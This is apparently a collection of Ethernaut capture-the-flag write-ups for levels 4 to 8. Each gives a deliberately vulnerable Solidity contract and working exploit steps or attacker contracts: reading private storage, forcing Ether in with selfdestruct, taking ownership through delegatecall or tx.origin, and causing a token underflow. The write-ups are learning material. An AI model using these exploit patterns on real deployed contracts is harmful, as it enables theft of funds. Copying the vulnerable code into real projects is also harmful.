Ethernaut - 8. Vault

Difficulty: ๐ŸŒ•๐ŸŒ•๐ŸŒ‘๐ŸŒ‘๐ŸŒ‘

Unlock the vault to pass the level!

Contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Vault {
  bool public locked;
  bytes32 private password;

  constructor(bytes32 _password) public {
    locked = true;
    password = _password;
  }

  function unlock(bytes32 _password) public {
    if (password == _password) {
      locked = false;
    }
  }
}

Writeup

How can we get private variable password ? Well, There is an important method everyone should know : web3.eth.getStorageAt(...), checkout web3.js document to get details.

State variables marked as private and local variables are still publicly accessible.

  1. Get new Instance.
  2. Call the method
    
     await contract.locked()
     // true
    
    
  3. Call the method
    
     await web3.eth.getStorageAt('0x7B794D77e945A806b2c6Ca41cb4bB6977F37D340', 1);
     // '0x412076657279207374726f6e67207365637265742070617373776f7264203a29'
    
    
  4. Call web3 method
    
     web3.utils.toAscii('0x412076657279207374726f6e67207365637265742070617373776f7264203a29')
     // 'A very strong secret password :)'
    
    
  5. Call the method
    
     await contract.unlock('0x412076657279207374726f6e67207365637265742070617373776f7264203a29')
    
    
  6. Call the method
    
     await contract.locked()
     // false
    
    
  7. Submit instance ฮพ( โœฟ๏ผžโ—กโ›)

Ethernaut - 7. Force

Difficulty: ๐ŸŒ•๐ŸŒ•๐ŸŒ•๐ŸŒ‘๐ŸŒ‘

Some contracts will simply not take your money ยฏ_(ใƒ„)_/ยฏ

The goal of this level is to make the balance of the contract greater than zero.

Things that might help:

  • Fallback methods
  • Sometimes the best way to attack a contract is with another contract.
  • See the Help page above, section โ€œBeyond the consoleโ€

Contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Force {/*

                   MEOW ?
         /\_/\   /
    ____/ o o \
  /~____  =รธ= /
 (______)__m_m)

*/}

Writeup

The keypoint to complete this level is selfdestruct. After calling selfdestruct method, contract will send all remaining Ether to a designated address. A malicious contract can use selfdestruct to force sending Ether to any contract.

  1. Get new Instance.
  2. Create a contract
     // SPDX-License-Identifier: MIT
     pragma solidity 0.8.16;
    
     contract Force {/*
    
                       MEOW ?
             /\_/\   /
         ____/ o o \
       /~____  =รธ= /
     (______)__m_m)
    
     */}
    
     contract ForceAttacker {
         Force force;
    
         // For a contract to be able to receive ether, the constructor function must be marked payable.
         constructor(Force _force) payable { 
             force = Force(_force);
         }
    
         function getBalance() public view returns (uint256) {
           return address(this).balance;
         }
    
         function attack() public {
             address payable addr = payable(address(force));
             selfdestruct(addr);
         }
     }
    
  3. Compile & Deploy remix
  4. Click getBalnce button, it will return 1wei. remix
  5. Click attack button. The contract will self-destruct, and the remaining 1wei will be send to Force contract.
  6. Submit instance ฮพ( โœฟ๏ผžโ—กโ›)

Reference

Solidity by example - Self Destruct

Ethernaut - 6. Delegation

Difficulty: ๐ŸŒ•๐ŸŒ•๐ŸŒ‘๐ŸŒ‘๐ŸŒ‘

The goal of this level is for you to claim ownership of the instance you are given.

Things that might help

  • Look into Solidityโ€™s documentation on the delegatecall low level function, how it works, how it can be used to delegate operations to on-chain libraries, and what implications it has on execution scope.
  • Fallback methods
  • Method ids

Contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Delegate {

  address public owner;

  constructor(address _owner) public {
    owner = _owner;
  }

  function pwn() public {
    owner = msg.sender;
  }
}

contract Delegation {

  address public owner;
  Delegate delegate;

  constructor(address _delegateAddress) public {
    delegate = Delegate(_delegateAddress);
    owner = msg.sender;
  }

  fallback() external {
    (bool result,) = address(delegate).delegatecall(msg.data);
    if (result) {
      this;
    }
  }
}

Writeup

  1. Get new Instance.
  2. Call the method
    
    await contract.sendTransaction({data: web3.eth.abi.encodeFunctionSignature("pwn()")})
    
    

    You can find the detail about encodeFunctionSignature() in there .

  3. Submit instance ฮพ( โœฟ๏ผžโ—กโ›)

Reference

Solidity by example - delegatecall

Ethernaut - 5.Token

Difficulty: ๐ŸŒ•๐ŸŒ•๐ŸŒ‘๐ŸŒ‘๐ŸŒ‘

The goal of this level is for you to hack the basic token contract below.
You are given 20 tokens to start with and you will beat the level if you somehow manage to get your hands on any additional tokens. Preferably a very large amount of tokens.

Things that might help:

  • What is an odometer?

Contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Token {

  mapping(address => uint) balances;
  uint public totalSupply;

  constructor(uint _initialSupply) public {
    balances[msg.sender] = totalSupply = _initialSupply;
  }

  function transfer(address _to, uint _value) public returns (bool) {
    require(balances[msg.sender] - _value >= 0);
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    return true;
  }

  function balanceOf(address _owner) public view returns (uint balance) {
    return balances[_owner];
  }
}

Writeup

There is a famous security pitfall. We can use technique Underoverflow to complete this level.

  1. Get new instance.
  2. Call the method
    
     await contract.balanceOf('YOUR_ACCOUNT').then(v=>v.toString())
    
    

    It will return default balance 20 .

  3. Call the method
    
     await contract.transfer('OTHER_ACCOUNT', 1000000)
    
    
  4. Call the method
    
     await contract.balanceOf('YOUR_ACCOUNT').then(v=>v.toString())
    
    

    It will return a very big amount.

  5. Submit instance ฮพ( โœฟ๏ผžโ—กโ›)

Ethernaut - 4.Telephone

Difficulty: ๐ŸŒ•๐ŸŒ‘๐ŸŒ‘๐ŸŒ‘๐ŸŒ‘

Claim ownership of the contract below to complete this level.
Things that might help

See the Help page above, section โ€œBeyond the consoleโ€

Contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Telephone {

  address public owner;

  constructor() public {
    owner = msg.sender;
  }

  function changeOwner(address _owner) public {
    if (tx.origin != msg.sender) {
      owner = _owner;
    }
  }
}

Writeup

To complete this level, we need to claim ownership of the contract. The keypoint is the difference between tx.origin and msg.sender.

  1. Get new instance
  2. Create a contract
     // SPDX-License-Identifier: MIT
     pragma solidity ^0.6.0;
    
     interface Telephone {
         function changeOwner(address _owner) external;
     }
    
     contract AttackTelephone {
         Telephone public targets = Telephone(YOUR_LEVEL_INSTANCE_ADDRESS);
    
         function attackTelephone() public{
             targets.changeOwner(YOUR_ACCOUNT);
         }
     }
    
  3. Compile & deploy .
  4. Call attackTelephone function. In this scenario, tx.origin will be the victimโ€™s address while msg.sender will be the malicious contract ( AttackTelephone ) โ€˜s address. ( tx.origin != msg.sender == true )
  5. Callthe method
    
     await contract.owner().then(v => v.toString())
        
    

    to check owner if it is your account.

  6. Submit instance ฮพ( โœฟ๏ผžโ—กโ›)

Reference

tx.origin vs msg.sender